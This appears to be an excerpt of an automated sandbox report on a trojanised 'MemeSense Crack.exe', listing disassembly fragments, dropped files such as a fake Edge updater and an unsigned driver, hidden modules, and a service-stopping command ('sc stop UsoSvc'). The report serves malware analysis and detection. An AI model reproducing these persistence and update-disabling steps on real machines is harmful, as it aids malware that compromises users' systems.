Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C3ED94 push ecx; mov dword ptr [esp], edx	17_2_00C3ED96
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C2AD60 push ecx; mov dword ptr [esp], edx	17_2_00C2AD65
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C22D2C push 00C22D58h; ret	17_2_00C22D50
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C3CEFF push 0700C238h; iretd	17_2_00C3CF04
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C36EA0 push ecx; mov dword ptr [esp], eax	17_2_00C36EA1
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C3CF26 push 2E00C238h; iretd	17_2_00C3CF2B
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C3B19C push ecx; mov dword ptr [esp], edx	17_2_00C3B19E
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C37104 push ecx; mov dword ptr [esp], edx	17_2_00C37109
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C2B28C push 00C2B6D8h; ret	17_2_00C2B6D0
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C233EA push 00C23418h; ret	17_2_00C23410
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Code function: 17_2_00C3732C push ecx; mov dword ptr [esp], edx	17_2_00C37331

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\lsass.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Sample is not signed and drops a device driver

Source: C:\Program Files\Microsoft\Edge\updater.exe

File created: C:\Program Files\Google\Libs\WR64.sys

Source: C:\Users\user\AppData\Local\Temp\updater.exe	File created: C:\Program Files\Microsoft\Edge\updater.exe	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\Google.Widevine.CDM.dll	Jump to dropped file
Source: C:\Program Files\Microsoft\Edge\updater.exe	File created: C:\Windows\Temp\jkiahanfoyhg.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	File created: C:\Users\user\AppData\Local\Temp\updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\updater.exe	File created: C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	File created: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Jump to dropped file
Source: C:\Program Files\Microsoft\Edge\updater.exe	File created: C:\Program Files\Google\Libs\WR64.sys	Jump to dropped file
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	File created: C:\Users\user\AppData\Local\Temp\AC3BF.tmp	Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\Google.Widevine.CDM.dll			Jump to dropped file
Source: C:\Program Files\Microsoft\Edge\updater.exe	File created: C:\Windows\Temp\jkiahanfoyhg.tmp			Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Users\user\AppData\Local\Temp\updater.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\JKIAHANFOYHG.TMP
Source: C:\Program Files\Microsoft\Edge\updater.exe	Module Loaded: C:\WINDOWS\TEMP\JKIAHANFOYHG.TMP
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\JKIAHANFOYHG.TMP
Source: C:\Program Files\Microsoft\Edge\updater.exe	Module Loaded: C:\WINDOWS\TEMP\JKIAHANFOYHG.TMP
Source: C:\Program Files\Microsoft\Edge\updater.exe	Module Loaded: C:\WINDOWS\TEMP\JKIAHANFOYHG.TMP

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Tries to open files direct via NTFS file id

Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: NULL	Jump to behavior

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
